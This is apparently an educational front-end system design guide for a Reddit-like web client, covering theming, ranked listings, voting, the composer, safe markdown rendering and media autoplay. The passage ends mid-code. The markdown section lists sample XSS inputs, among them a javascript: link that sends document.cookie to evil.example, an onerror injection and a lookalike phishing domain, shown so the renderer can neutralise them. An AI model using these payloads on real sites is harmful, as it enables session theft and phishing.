Design Reddit
The web client of a network of communities: subreddit pages with their own look, rules, and flairs, ranked listings with sorts like hot and top, three-state voting at huge scale, a composer for many post types, safe user markdown, and post pages that search engines send millions of signed-out readers to. The hard parts are letting thousands of communities theme their pages without breaking readability, paging through rankings that move while you read, and serving one post URL to a crawler, a guest, a member, and a moderator.
The question
Design the web client for Reddit. People join communities called subreddits, like
r/cookingorr/webdev. Each community has its own banner, colors, rules, post flairs, and sidebar. Members submit text, link, image, video, and poll posts, vote them up or down, and browse listings sorted by hot, new, top, rising, or controversial.A large share of readers arrive from a Google search, signed out, on a phone. Moderators remove posts and work through a queue. Walk me through the community page, how listings and voting work on the client, the post composer, how you render user markdown safely, and how a post page serves both search engines and signed-in members.
Real-life examples: Reddit, Hacker News, Lemmy, Stack Overflow, Discourse forums
Requirements: the questions that make Reddit its own problem
"Design Reddit" can sound like "design a feed with comments", but two big parts of it are already solved in other guides. The Comments thread guide covers the comment tree, "load more" stubs, sorting comments by a confidence score, optimistic replies, and permalinks. The News feed guide covers infinite listings, cursor paging, and keeping a long list fast. This guide links to those and spends its time on what only Reddit has.
What only Reddit has is the community as the unit of everything. A post lives in one subreddit, and the subreddit decides how the page looks, which rules apply, which flairs a post can carry, and who can moderate. Ranking is per community and changes by the minute. And a post page is two products at once: a fast public web page for the search visitor, and an app screen with voting and replying for the member.
So the first five minutes go to scope. Each answer below moves the design. The table shows what this guide assumes and what changes if the interviewer says something else.
| Question | Answer we assume | What it changes |
|---|---|---|
| How big is it? | Around 100 million daily active people, over 100,000 active communities, and millions of new posts and comments a day. | Listings are computed on the server and cached. The client never ranks; it pages through a ranked list. |
| Where do readers come from? | A large share of post views come from search engines and shared links, from people who are not signed in, on phones. | Post pages must be complete server HTML, fast, cacheable at the edge, and indexable. Sign-in prompts must not block the content. |
| How much can a community customize? | Icon, banner, a key color (Join button and links), a base color, a pinned-post color, separate dark-mode colors, post flairs, rules, and sidebar widgets. No custom CSS on the new site. | A theming system with design tokens and contrast checks, not arbitrary stylesheets. |
| Which sorts? | Hot (default), new, top with a time window (hour, day, week, month, year, all), rising, and controversial. | Sort and window live in the URL. Paging uses cursors, and the client must remove duplicates because rankings shift. |
| Which post types? | Text (markdown), link, image, gallery, video, and poll. Tags for NSFW and spoiler. | A composer with a mode per type, uploads before submit, drafts, and blurred previews for tagged posts. |
| Voting? | Up, down, or none on posts and comments, for signed-in members only. | A three-state toggle with optimistic updates, rollback, and a displayed score that may be fuzzed by the server. |
| Moderation? | Moderators remove and approve content, work a mod queue, edit flairs, and see automated filter results. | Per-community permissions sent to the client, extra controls rendered only for moderators, and removal reasons. |
| Devices and networks? | Mostly mobile web and the app; desktop for power users and moderators. Many slow networks. | Small JavaScript on first load, server-rendered first paint, images and videos sized per device. |
Functional requirements
- Show a community page at
/r/name: banner, icon, name, member count, join button, a ranked listing of posts, and a sidebar with rules, flairs, and widgets, all in the community's colors. - Show listings sorted by hot, new, top (with a time window), rising, or controversial, with the choice kept in the URL, and keep loading more as the reader scrolls.
- Let signed-in members upvote, downvote, or clear a vote on any post or comment, with the score and arrow changing at once.
- Let members submit text, link, image, gallery, video, and poll posts, pick a flair, mark NSFW or spoiler, and keep a draft if they leave.
- Render post and comment markdown, including Reddit extras like spoilers and superscript, safely.
- Serve each post page at a stable URL with a readable slug, as full HTML for crawlers and guests, with the comment thread below it.
- Give moderators remove, approve, lock, and flair controls on posts and comments, a mod queue, and removal reasons the author can see.
Non-functional requirements
- Fast first view for guests: Largest Contentful Paint (the moment the biggest element, usually the post title or image, is drawn) under 2.5 seconds on a mid-range phone on 4G, which is Google's "good" threshold.
- Responsive voting: the arrow and score react within one frame (16 ms) of the tap. The network call can take 300 ms or fail; the reader should not wait for it.
- Readable in every community: no community color choice can make text or buttons unreadable. Text keeps a contrast ratio of at least 4.5 to 1, the WCAG AA level.
- Safe: user markdown and community settings can never run script in another reader's browser.
- Stable lists: paging never shows the same post twice and never jumps the page under the reader's finger.
- Accessible: every control works by keyboard, vote state is announced to screen readers, and autoplay respects reduced motion.
Out of scope, and why
- The comment tree itself: the Comments thread guide covers it in depth. We only show where it plugs into the post page.
- Chat and direct messages: the Chat app guide covers them.
- Ranking and spam detection on the server: we treat the listing API as a black box that returns ranked pages, but we explain the formulas because they shape client behavior.
- Native apps, ads, and payments for awards: they don't change the web client design much.
Check your understanding · Exercise 1
Which answers from the interviewer would change the design the most? Select all that apply.
What makes Reddit hard
Before drawing boxes, name the forces. Every later decision traces back to one of these five.
1. Thousands of owners for one page template
Reddit's engineers own the code, but over 100,000 communities own the content and part of the look. A moderator of r/halloween picks black and orange; a moderator of r/aww picks pale pink. The same PostCard component must stay readable on both, with no engineer in the loop. That means the theming system has to check and repair inputs, not just apply them.
2. Rankings that move while you read
The hot listing of a busy community is re-ranked every few minutes as votes arrive. A reader who loads page 1 at 10:00 and scrolls to page 2 at 10:04 is asking for "the next 25 after the post I last saw" in a list that has already shuffled. Some posts will have moved down past the cursor and come back; some will have moved up and be skipped. The client has to handle that gracefully instead of pretending the list is frozen.
3. Votes are tiny, frequent, and adversarial
A vote is the most common write on the site. It must feel instant, so the client updates first and asks the server second. But votes are also what spammers and vote manipulators attack, so the server hides exact counts and may reject or quietly ignore votes. The client shows a number it does not fully control, and must never make it flicker or jump backwards in a way that looks broken.
4. Almost every byte is untrusted input
Post titles, bodies, comment markdown, flair text, rule text, sidebar widgets, link previews, image files, and community colors all come from users. Any of them can try to inject script, break layout, or hide content. The client renders all of it, so it has to treat every field as hostile until it is escaped, sanitized, or validated.
5. One URL, two audiences
A post URL like /r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/ is a search landing page for a signed-out stranger and an interactive screen for a member who wants to vote and reply. The first audience needs fast, cacheable HTML with no personal data. The second needs their vote state, their join state, and moderator tools. Serving both from one URL without slowing either is the core rendering problem.
| Force | Where it shows up in this guide |
|---|---|
| Many owners | Community theming with tokens and contrast repair; rules, flairs, and widgets as data, not code. |
| Moving rankings | Cursor paging with fullnames, duplicate removal, and sort plus time window in the URL. |
| Adversarial votes | Three-state optimistic voting, server-side fuzzing, rate limits, and no flicker. |
| Untrusted input | Markdown rendered to a safe tree, server-side link unfurling, upload validation, CSP. |
| Two audiences | Server-rendered post pages cached at the edge, member state filled in on the client, islands for the interactive parts. |
Think first
Reddit has both a comment tree and a post listing. Which one is harder to cache at the CDN for signed-out readers, and why?
The listing. A post page changes mostly when comments arrive, and a guest copy that is 30 to 60 seconds old is fine. A hot listing changes its order every few minutes, and there are many versions of it: one per sort, per time window, per page cursor.
The usual answer is to cache only the first page of each popular listing for a short time, and fetch later pages from an API with short cache lifetimes. Post pages get longer edge caching with background revalidation.
Communities as the core unit
On most social sites the person is the center: you follow people, and your feed is theirs. On Reddit the community is the center: a subreddit is a named space with its own members, moderators, rules, flairs, look, and ranked listing. Even the home feed is mostly a merge of the communities you joined. So the first design question is: what is a community, as data the client receives?
The parts of a community page
- Header: banner image, round icon, display name like
r/cooking, member count, "online now" count, and a Join button. It wears the community's colors. - Sort bar: Hot, New, Top (with a time window menu), Rising, and a view toggle (card or compact). It writes to the URL.
- Listing: post cards. Each card shows a vote column, the title, a flair chip, tags like NSFW or spoiler, a preview (text snippet, image, video, link card, or poll), and a comment count.
- Sidebar: a description, the rules as a numbered list that can expand, post flairs to filter by, moderator list, and custom widgets (a list of related communities, a calendar, a button bar, an image).
- Moderator bar, only for moderators: a mod queue count, links to mod tools, and per-post actions on each card.
Settings as data, not code
Everything the moderators customize must arrive as plain, typed data that our components render. A moderator never ships code to our page. This one rule is what lets 100,000 communities customize without each one becoming a security or support problem. The community object the client gets looks like this:
type Community = {
id: string; // fullname, like "t5_2qh1e"
name: string; // "cooking", the URL key
title: string; // "Cooking: recipes and help"
icon: ImageRef | null;
banner: ImageRef | null;
theme: { key: string; base: string; pinned?: string; dark?: { key: string; base: string } }; // raw hex, unchecked
subscribers: number;
over18: boolean;
submitTypes: ("text" | "link" | "image" | "video" | "poll")[];
rules: { short: string; description: string; kind: "post" | "comment" | "all" }[];
postFlairs: Flair[]; // the flairs a poster can pick
widgets: Widget[]; // typed sidebar widgets
viewer: { joined: boolean; isMod: boolean; modPerms: ModPerm[] }; // per viewer
};
type Flair = { id: string; text: string; bg: string; textColor: "dark" | "light"; modOnly: boolean };
type Widget =
| { kind: "text"; title: string; markdown: string }
| { kind: "community-list"; title: string; names: string[] }
| { kind: "button-bar"; buttons: { label: string; url: string }[] }
| { kind: "image"; image: ImageRef; linkUrl?: string };
Notice three things. First, viewer is the only per-person part. Everything else is the same for every reader, so the server can cache it and the CDN can serve it to guests, which is why the API splits a public community document from a small viewer document.
Second, widgets are a closed set of kinds: a new kind means new code from Reddit's engineers, reviewed and tested, never moderator-supplied markup. Third, the flair has textColor: "dark" | "light" instead of any color: a small, safe choice, which we come back to in the theming chapter.
Rules and flairs on the client
Rules show in three places: the sidebar, the composer (so posters read them before submitting), and the removal message ("Removed: Rule 3, no memes"). Keeping them as one list with stable indexes lets every place refer to "rule 3" the same way. Flairs show on post cards, in the composer's flair picker, and as filters in the sidebar. Clicking a flair filter opens a search listing for that flair in that community, so the filter goes in the URL like any other listing choice.
Some communities require a flair before you can post, and some flairs are mod-only ("Solved", "Official"). The composer reads postFlairs and filters out modOnly ones for regular members. The server still checks: the client filter is a convenience, not security.
How the page loads
Decision How should a community page get its data on first load?
What we pick: Server-render the public parts, cache them for guests at the edge, and fill in viewer state on the client. For signed-in members the server can also inline viewer state into the HTML when it renders without the shared cache, so their arrows are correct at first paint. The SSR lesson covers the general trade-off; the islands chapter later shows which parts need JavaScript at all.
Check your understanding · Exercise 2
A moderator wants a sidebar widget that shows a live countdown to their community's next event. How should the platform support it? Select all that apply.
Community theming: tokens, custom properties, and contrast repair
A community's look is part of its identity. The question is how much power to give moderators. Reddit has tried both ends, which makes it a great interview story.
The old way: a stylesheet per community
On old Reddit (still at old.reddit.com), each community has a stylesheet that its moderators write by hand, and some communities built remarkable designs with it. But a stylesheet can do anything CSS can do: hide the downvote arrow, hide the report button, push the rules off screen, set gray text on a gray background, or break the layout on phones.
Old Reddit also had to filter what the CSS could load: images had to be uploaded to the community instead of pulled from any URL. The reason is that CSS can leak data. An attribute selector plus a background-image URL can tell an outside server what is on the page.
The biggest cost is less obvious. Every community stylesheet targets the site's class names and DOM structure. Once thousands of communities depend on .thing .midcol .arrow.down, the platform team cannot rename a class or restructure a card without breaking them: the custom CSS has become a frozen public API. Reddit's redesign did not carry custom CSS forward and offers a fixed set of appearance settings instead.
The options
Decision How should communities customize their look?
What we pick: Design tokens with validation. It keeps most of the identity (any key and base color, any banner) while the platform keeps control of structure, controls, and readability. This is close to what Reddit's current site offers moderators. Offer presets as a starting point in the settings UI.
From a moderator's color to CSS custom properties
--community-button. Inlining them in the server HTML means the first paint already wears the right colors.CSS custom properties (variables whose names start with two dashes, like --community-button) cascade: set them on the community page's root element and every component inside reads them with the var() function. Components never see the raw moderator values. They read derived tokens that the platform computed and checked: a background, a text color that reads on it, a button color, a link color, a focus ring color.
/* Written by the page server from the checked tokens, on the page root */
.community-root {
--community-button: #ffd635;
--community-on-button: #1a1a1b;
--community-link: #806500;
--community-focus: #a88500;
}
/* Our components read only the derived tokens */
.join-button {
background: var(--community-button);
color: var(--community-on-button);
}
.join-button:focus-visible { outline: 2px solid var(--community-focus); }
.post-body a { color: var(--community-link); }
The values above are what the repair below produces for a bright yellow on a white page: the button keeps the moderator's yellow with near-black text, and links and the focus ring use darker shades of the same hue. Here is the check itself:
function luminance(hex: string): number {
const [r, g, b] = [1, 3, 5].map((i) => {
const c = parseInt(hex.slice(i, i + 2), 16) / 255;
return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
});
return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
function contrast(a: string, b: string): number {
const [hi, lo] = [luminance(a), luminance(b)].sort((x, y) => y - x);
return (hi + 0.05) / (lo + 0.05);
}
// Pick the readable text color for a filled surface.
const onColor = (bg: string) =>
contrast(bg, "#FFFFFF") >= contrast(bg, "#1A1A1B") ? "#FFFFFF" : "#1A1A1B";
This is the WCAG contrast ratio. It runs from 1 (same color) to 21 (black on white). WCAG AA asks for 4.5 to 1 for normal text and 3 to 1 for large text (success criterion 1.4.3), and 3 to 1 for the edges of controls and focus rings (1.4.11, Non-text Contrast). The Visual accessibility lesson explains where the numbers come from, and real values show why a check is needed:
| Community color | White text on it | Near-black text on it | What the platform does |
|---|---|---|---|
Pale pink #FFC0CB | 1.5 to 1 (fails) | 11.3 to 1 | Uses dark text on pink buttons and the header. |
Reddit orange #FF4500 | 3.4 to 1 (only large text) | 5.1 to 1 | Dark text on orange, or white text only at 18.66 px bold and up. |
Classic blue #0079D3 | 4.49 to 1 (fails by 0.01) | 3.9 to 1 (fails) | Neither passes: one repair step darkens it to #006DBF, where white text reaches 5.3 to 1. |
Bright yellow #FFD635 | 1.4 to 1 (fails) | 12.4 to 1 | Dark text; and as a link color on white it is unreadable, so links use a darkened shade. |
The repair step is simple: if neither text color reaches 4.5, move the color toward black (or toward white in dark mode) in small steps of lightness until one does. Keep the hue, so r/halloween stays orange, just a deeper orange. The same applies to the key color, which Reddit uses for links: test it against the page background and darken until it reaches 4.5.
function ensureReadable(bg: string, scheme: "light" | "dark"): string {
let color = bg;
for (let step = 0; step < 20; step++) {
if (Math.max(contrast(color, "#FFFFFF"), contrast(color, "#1A1A1B")) >= 4.5) return color;
color = shiftLightness(color, scheme === "light" ? -0.04 : 0.04); // HSL, keep hue
}
return scheme === "light" ? "#1A1A1B" : "#FFFFFF"; // last-resort fallback
}
Where the check runs, and dark mode
- In the settings UI, live: the moderator sees the preview and a note like "We darkened your button color so text stays readable". No surprise later.
- On the server at save, as the real gate: store the raw choice and the derived tokens for both light and dark schemes.
- In server rendering, inline the derived tokens as a
styleon the page root, so the first paint already has the right colors. Loading them with JavaScript would flash the default theme first. - Dark mode: a background color picked for a white page is often wrong on a dark one. Reddit lets moderators set dark-mode colors separately; when they don't, derive them. Either way, check a second set for
prefers-color-scheme: darkand switch with a media query or adata-themeattribute; never reuse the light tokens. - Images: banners are user images, so text never sits on top of them without a solid or gradient scrim behind it.
Check your understanding · Exercise 3
A moderator sets the base color to #FFD635 (bright yellow). Which outcomes should the platform produce? Select all that apply.
Listings: hot, new, top, rising, controversial, and paging through a moving list
A listing is a ranked list of posts: one community's hot posts, the top posts of the week across all of Reddit, a user's submissions. The client never ranks; the server does. But the ranking rules decide how the list moves while someone reads it, and that decides how the client pages, caches, and removes duplicates. So we start with the formulas.
Hot: votes on a log scale, plus time
Reddit published its original ranking code when the site was open source. The hot sort lives in a file called _sorts.pyx. Reddit stopped updating that public code in 2017 and today's ranking may differ, but the formula is still the clearest way to understand the sort, and it is a classic interview topic:
// Port of _hot() from Reddit's archived open-source code (r2/lib/db/_sorts.pyx)
function hot(ups: number, downs: number, createdSec: number): number {
const s = ups - downs;
const order = Math.log10(Math.max(Math.abs(s), 1));
const sign = s > 0 ? 1 : s < 0 ? -1 : 0;
const seconds = createdSec - 1134028003; // a fixed date in December 2005
return Math.round((sign * order + seconds / 45000) * 1e7) / 1e7;
}
Read it in two halves. The vote part is a log: going from 10 to 100 net votes adds 1, and going from 100 to 1,000 also adds 1. The time part adds 1 for every 45,000 seconds, which is 12.5 hours. So a post 12.5 hours newer needs one tenth of the votes to rank the same: a post made at 08:00 with 1,000 net votes ties with one made at 20:30 with 100.
The surprising part: there is no "age" in the formula, only the creation time, so a post's hot score never goes down as time passes. Old posts sink because new posts arrive with bigger time values. The order between two existing posts changes only when their votes change, and new posts can enter anywhere near the top. Both of those move items across page boundaries while a reader scrolls.
The other sorts
| Sort | How it ranks | How much it moves | URL |
|---|---|---|---|
| Hot | Log of net votes plus creation time, as above. | A lot on busy communities: votes and new posts every minute. | /r/cooking/ or /r/cooking/hot/ |
| New | Creation time, newest first. | Only grows at the top. Removals make small holes. | /r/cooking/new/ |
| Top | Net score, within a time window: hour, day, week, month, year, all. | Hour and day move; year and all barely move. | /r/cooking/top/?t=week |
| Rising | Recent posts gaining votes and comments fast. The exact rule is not public. | Very fast: posts enter and leave within minutes to hours. | /r/cooking/rising/ |
| Controversial | Many votes, split close to even. In the old code: total votes raised to the power of the minority-to-majority ratio. | Moderate. | /r/cooking/controversial/?t=day |
The old controversy formula is worth one example. A post with 100 up and 90 down has 190 votes and a balance of 0.9, so its score is 190 to the power 0.9, about 112. A post with 1,000 up and 100 down has 1,100 votes but a balance of 0.1: about 2. Big and split beats big and one-sided.
Sort and time window belong in the URL
The sort and window are what the reader is looking at, so they go in the path and query string, as the URL-as-state lesson explains: shareable, bookmarkable, back-button friendly, and a natural cache key. Changing the sort is a navigation (history.pushState through the router), not a hidden state change. The window only applies to top and controversial, so the router drops t for the other sorts instead of carrying a meaningless ?t=week around.
The client's listing cache is keyed by the same parts: ["listing", "r/cooking", "top", "week"]. Switching from top-week to hot and back reuses the cached pages and scroll position instead of refetching, as long as they are recent, say under 2 minutes for hot and 10 minutes for top-week.
Paging with fullnames
Every Reddit object has a fullname: a type prefix plus a base-36 id. t1_ is a comment, t2_ an account, t3_ a post (called a link internally), t5_ a community. Listings page with after and before set to the fullname of the last or first item the client has, plus a limit (25 by default, at most 100). The response returns the next cursor:
GET /r/cooking/top.json?t=week&limit=25&after=t3_1abc2d
200 OK
{
"kind": "Listing",
"data": {
"after": "t3_1abd9x", // pass this to get the next page; null at the end
"before": null,
"children": [ { "kind": "t3", "data": { "name": "t3_1abc7q", "title": "...", "score": 812 } } ]
}
}
Decision How should the client page through a ranked list that moves?
What we pick: Cursor by fullname, plus client-side dedupe. It is what Reddit's API does, it is cheap, and the remaining glitches (a few duplicates or skips when the cursor post moves) are easy to fix on the client. Snapshots are a fine choice for a personalized home feed with a few thousand candidates, not for every community listing.
Removing duplicates, and other edge cases
function appendPage(state: ListingState, page: ListingPage): ListingState {
const seen = new Set(state.ids);
const fresh = page.children.map((c) => c.data.name).filter((id) => !seen.has(id));
return {
ids: [...state.ids, ...fresh],
after: page.after,
done: page.after === null,
droppedDupes: state.droppedDupes + page.children.length - fresh.length,
};
}
- Duplicates: the
Setcheck above. Count the dropped ones in telemetry: a spike means the cursor logic or caching is broken. - A page that is all duplicates: fetch again with the new
afterright away, up to 2 times, so the reader doesn't hit an empty gap. - Cursor post removed: if a page comes back empty but
afterwas not null, retry with the fullname of the item before the cursor. - Skipped posts (rose above the cursor): accept it. When the reader returns to the top, a "New posts" pill offers a fresh listing.
- The end: listings are capped at around 1,000 items deep. When
afteris null, show an end marker, not a spinner. - Keys: React keys and DOM ids use the fullname, never the array index, so a dropped duplicate never makes a card re-mount with another post's state.
Check your understanding · Exercise 4
A reader loads page 1 of r/cooking hot, waits 5 minutes, then scrolls to page 2. Which statements are true? Select all that apply.
Voting at scale: three states, optimistic, and a score you don't fully control
Voting is the most frequent write on Reddit, so it must feel instant. The Poll widget and Comments thread guides already cover optimistic writes with rollback. Here we add what is special about Reddit's votes: three states per item, fast repeated taps, a displayed score the server deliberately blurs, and anti-abuse limits that can reject a vote.
Three states, six transitions
Each viewer has one vote per post: up (1), none (0), or down (-1). The two arrows are toggles. Tapping the arrow that is already on clears it; tapping the other arrow switches. The score change depends on where you start:
| From | Tap | To | Score change |
|---|---|---|---|
| none | up | up | +1 |
| none | down | down | -1 |
| up | up | none | -1 |
| up | down | down | -2 |
| down | up | up | +2 |
| down | down | none | +1 |
dir as 1, 0, or -1 instead of an action like "toggle". Sending the same value twice changes nothing.How the client sends votes
Decision How should a tap on an arrow reach the server?
What we pick: Optimistic, final-state, one request in flight per item. The idempotent value makes retries safe, and the coalescing keeps a nervous tapper from sending ten requests or racing their own votes.
type Dir = 1 | 0 | -1;
type VoteSlot = { confirmed: Dir; wanted: Dir; inFlight: boolean };
async function flush(id: string, slot: VoteSlot, store: Store): Promise<void> {
if (slot.inFlight || slot.wanted === slot.confirmed) return;
slot.inFlight = true;
const dir = slot.wanted;
try {
await api.vote(id, dir); // POST /api/vote id=t3_x dir=1|0|-1
slot.confirmed = dir;
} catch (err) {
slot.wanted = slot.confirmed; // roll back to the last value the server accepted
store.setVote(id, slot.confirmed);
toast(isRateLimited(err) ? "You're voting too fast. Try again in a moment." : "Vote failed.");
} finally {
slot.inFlight = false;
}
if (slot.wanted !== slot.confirmed) void flush(id, slot, store); // taps that came in meanwhile
}
429 the client rolls back to the last confirmed value and does not retry in a loop.Displayed scores are fuzzed
Reddit's own FAQ has long said that the vote numbers it shows are "fuzzed" to stop spam bots: the server changes them slightly, so they are not the real counts. A bot that can see its vote land can tune itself until it stops getting caught, and a blurred number takes that signal away. The exact method is not public. Communities can also hide new comment scores for up to 24 hours (a moderator setting from 0 to 1,440 minutes), so early votes don't snowball.
This changes the client in three ways:
- Never do arithmetic across server values. If page 1 said 812 and a refetch says 809, that is not "3 people downvoted". Just show the newest server value.
- Show the server score plus my unconfirmed change. Keep the score the server sent and the vote that score already included (
serverVote). DisplayserverScore - serverVote + myVote. When a fresh server value arrives with my vote counted, it replaces both, and there is no double counting. - Don't animate fuzz. A number that ticks up and down on every refetch looks broken. Animate only the change from the viewer's own tap. Update other score changes quietly, and round big numbers ("12.4k") so small fuzz is invisible.
Rate limits, signed-out taps, and many copies of one post
- Rate limits: the server answers
429 Too Many Requests, often with aRetry-Afterheader. Roll back the arrow and show a short message. Do not retry in a loop: that is exactly the traffic the limit exists to stop. - Silent ignores: votes from suspicious accounts may be accepted with
200and then not counted. The client cannot know, and should not try to. - Signed-out taps: open the sign-in sheet and remember the intent (
{ id: "t3_1abc2d", dir: 1 }). After sign-in, apply it once. The page behind the sheet must stay readable. - One post, many places: the same post can be on the listing, the post page, and a cross-post card. Store votes in a normalized store keyed by fullname, so one tap updates every view. The News feed guide covers the normalized cache.
- Karma: a user's karma is a server number, shown as sent. Never recompute it on the client from votes; that is how negative flickers happen.
Check your understanding · Exercise 5
A member with no vote taps up, down, up on one post within 250 ms. The first request takes 300 ms. With the final-state, one-in-flight design, what happens? Select all that apply.
The composer: post types, uploads, link previews, drafts, flairs, and tags
The composer is a small app of its own. It has one tab per post type, and the community decides which tabs exist: r/AskReddit allows only text questions, r/pics only images. It reads the community's submitTypes, rules, and flairs, which we already have from the community document.
| Type | What the member gives | What the client does | What the server does |
|---|---|---|---|
| Text | Title (up to 300 characters) and a markdown body (up to 40,000). | Editor with preview, character counters, draft autosave. | Stores markdown, renders it safely (next chapter). |
| Link | Title and a URL. | Validates the URL, asks the server for a preview, warns if it was already posted here. | Fetches the page, reads its Open Graph tags, re-hosts the thumbnail. |
| Image or gallery | Title and one or more images, with optional captions. | Uploads each file directly to storage before submit, shows progress, lets the member reorder. | Checks type and size, strips location metadata, makes resized versions. |
| Video | Title and a video file. | Uploads in chunks, shows progress. | Transcodes into adaptive streams; the post shows "processing" until ready. |
| Poll | Title, 2 to 6 options, and a duration in days. | Option list editor with add and remove. | Stores options; results follow the Poll widget guide. |
Link previews: who fetches the page?
When a member pastes https://example.com/article, they expect a card with the page's title and image. Someone has to fetch that page and read its og:title and og:image meta tags.
Decision Where should link previews be fetched?
What we pick: Server-side, once. The browser can't do it reliably, and the server can do it safely, privately, and once for all readers. The client shows a skeleton card while waiting and lets the member remove the preview.
Media: upload first, submit second
Images and videos upload before the post is created. The File uploader guide covers the details; the short version is: the client asks for an upload lease (a signed URL), sends the file straight to storage, and gets back an asset id. The submit request only carries asset ids, so it stays small and fast, and a failed submit doesn't mean re-uploading 80 MB of video.
- Uploads start the moment files are picked, while the member types the title. On a 5 Mbps uplink a 4 MB photo takes 6 to 7 seconds; starting early hides most of it.
- The Post button stays enabled; if uploads are still running, it shows "Posting when uploads finish" instead of blocking.
- Galleries keep an ordered list of asset ids, so reordering never re-uploads.
- Video posts appear with a "processing" state, because transcoding can take minutes. The post page polls or listens for a ready event.
Drafts
Members lose long posts to a closed tab or a failed submit. The composer saves a draft 1 second after typing stops: first to localStorage (instant, works offline), then to the server's drafts endpoint when signed in, so the draft follows them to another device. A draft holds the community, type, title, body, flair, tags, link, and uploaded asset ids. Uploads that are not finished are not saved: their files live only in the browser tab.
Flair, NSFW, and spoiler
- Flair: the picker shows the community's post flairs, minus mod-only ones. If the community requires a flair, the Post button explains why it is not ready ("Pick a flair") instead of failing after submit.
- Rules: shown beside the composer, collapsed to their short titles, so posters see them at the moment it matters.
- NSFW (not safe for work) and spoiler: two flags on the post. In listings, an NSFW or spoiler post shows a blurred preview with a label and a reveal button. The server sends a pre-blurred, tiny thumbnail; the real image only loads after the reader clicks. A CSS
filter: blur()on the real image is not enough: the full image is still downloaded and visible in network tools and to anyone with CSS turned off. - Signed-out readers and NSFW: a gate asks them to sign in or confirm their age, depending on the law where they are. Google treats legally required gates as an exception to its interstitial guidance, but asks that the gate overlay the page instead of redirecting to a separate gate URL, so the page stays indexable while the media stays hidden.
Check your understanding · Exercise 6
Which composer decisions are right for Reddit? Select all that apply.
Rendering user markdown safely
Post bodies, comments, sidebar text widgets, rules, and wiki pages are all written in markdown by users. Reddit's flavor adds a few things to standard markdown: ^word or ^(a few words) for superscript, >!this!< for an inline spoiler, ~~text~~ for strikethrough, tables, and bare r/name and u/name turning into links. Every one of those is a chance for an attacker, because the output becomes HTML in other people's browsers.
Typical attack inputs look like these. A good design makes each of them render as harmless text or a harmless link, by construction, not by hoping a filter catches them:
[free gold](javascript:fetch('//evil.example?c='+document.cookie))
<img src=x onerror="alert(1)">
>!<script>alert(1)</script>!<
^(<a href="data:text/html,...">x</a>)
[looks like reddit.com](https://reddit.com.evil.example/login)
Decision Where should markdown become HTML, and how?
What we pick: Parse on the server, once, with raw HTML disabled. Send a node tree to clients that need interactive pieces (spoilers, mentions), and server-render it to HTML for the first paint. The LLM chat UI guide uses the same "tree, not string" rule; the Comments thread guide shows the simpler sanitized-HTML option, which fits when nothing inside a body is interactive. The composer preview loads the same parser lazily, or calls a preview endpoint, so the preview always matches what will be published.
The rules the renderer enforces
- Raw HTML is off.
<img onerror=...>is shown as the literal text a reader typed. - Links are checked by protocol after parsing the URL with
new URL(): onlyhttps:,http:, andmailto:survive.javascript:,data:, andvbscript:become plain text. - Links carry
relvaluesugc nofollow noopener:ugcandnofollowtell search engines this is user content and not an endorsement,noopenerstops the opened page from controlling ours. - Show the real domain. For links whose text looks like a URL but points elsewhere, show the true host on hover and in the link card. The
reddit.com.evil.exampletrick relies on readers trusting the visible text. - Images in comments are allowed only from Reddit's own media hosts, so a tracking pixel can't log every reader's IP.
- Nesting limits: cap quote and list depth and total node count, so a 40,000-character post of
>>>>>>can't freeze the parser or the layout.
Spoilers that are actually hidden
A spoiler drawn as black text on a black background is hidden from sighted readers only. A screen reader reads it aloud at once, and copy-paste or forced-colors mode reveals it.
The component renders a button labelled "Spoiler, press to reveal". Inside it, the text keeps its width but has visibility: hidden, which means it is not drawn, not in the accessibility tree, and not shown by forced colors. On press, the text appears in the same space, so nothing else on the page moves, and focus moves to it.
function Spoiler({ children }: { children: React.ReactNode }) {
const [open, setOpen] = useState(false);
const textRef = useRef<HTMLSpanElement>(null);
useEffect(() => {
if (open) textRef.current?.focus(); // the button is gone; keep focus in place
}, [open]);
if (open) return <span ref={textRef} tabIndex={-1} className="spoiler-open">{children}</span>;
return (
<button type="button" className="spoiler" onClick={() => setOpen(true)}>
{/* .spoiler-mask { visibility: hidden }: keeps the width, never drawn or read */}
<span className="spoiler-mask">{children}</span>
<span className="sr-only">Spoiler, press to reveal</span>
</button>
);
}
Check your understanding · Exercise 7
A comment contains [win](javascript:alert(1)) and >!secret ending!<. What should readers get? Select all that apply.
Media in listings: images, video, and autoplay that respects the reader
A card-view listing of r/aww is mostly images and short videos. The TikTok feed and YouTube guides go deep on players and adaptive streaming; here we decide what a listing does with many media posts on screen at once.
Decision Which videos in a listing should play?
What we pick: One most-visible video at a time, muted, with clear opt-outs. It is the same rule the TikTok feed guide uses for its full-screen player, scaled down to a list.
preload="none" and get their stream only when they come near.The mechanics
The rule above is only half the work. The other half is making sure media never costs more than the reader agreed to pay, in bytes, battery, or layout jumps. These are the details that make a media-heavy listing feel light:
- Muted and inline: browsers allow autoplay with sound off. The element needs
mutedandplaysinlineas real attributes: withoutplaysinline, iPhone Safari only plays video in its own full-screen player, so it won't autoplay in the card. Low Power Mode on iPhones can still refuse it, soplay()must handle a rejection. - Load lazily: videos outside the viewport use
preload="none"and only get their stream URL attached when they come within one screen of view. - Data saver: read the
Save-Data: onrequest header on the server andnavigator.connection.saveDatawhere the browser supports it (Chromium). Few browsers send these signals today, so also offer a data saver switch in settings. In that mode, show posters only, request smaller image sizes, and never autoplay. - Reserve space: every image and video card has its width and height from the post data, so the browser reserves the box before the media loads. Without it, each image that arrives pushes the cards below, which hurts Cumulative Layout Shift and makes readers tap the wrong post.
- Right-sized images: the server makes several widths of every upload. The card uses
srcsetandsizesso a 360-pixel-wide phone downloads a 640-pixel image, not the 4,000-pixel original. Modern formats (AVIF or WebP) cut the bytes again. The Image optimization lesson covers this. - The LCP image: on a post page, the post's main image is usually the Largest Contentful Paint element. It gets
fetchpriority="high"and no lazy loading. Every listing image below the fold getsloading="lazy". - GIFs as video: an animated GIF is often 5 to 10 times larger than the same clip as an MP4. Convert GIF uploads to video and play them as looping, muted video.
const ratios = new Map<HTMLVideoElement, number>();
const io = new IntersectionObserver((entries) => {
for (const e of entries) ratios.set(e.target as HTMLVideoElement, e.intersectionRatio);
if (!autoplayAllowed()) return; // user setting, reduced motion, data saver
let best: HTMLVideoElement | null = null;
for (const [v, r] of ratios) if (r >= 0.5 && (!best || r > (ratios.get(best) ?? 0))) best = v;
for (const v of ratios.keys()) {
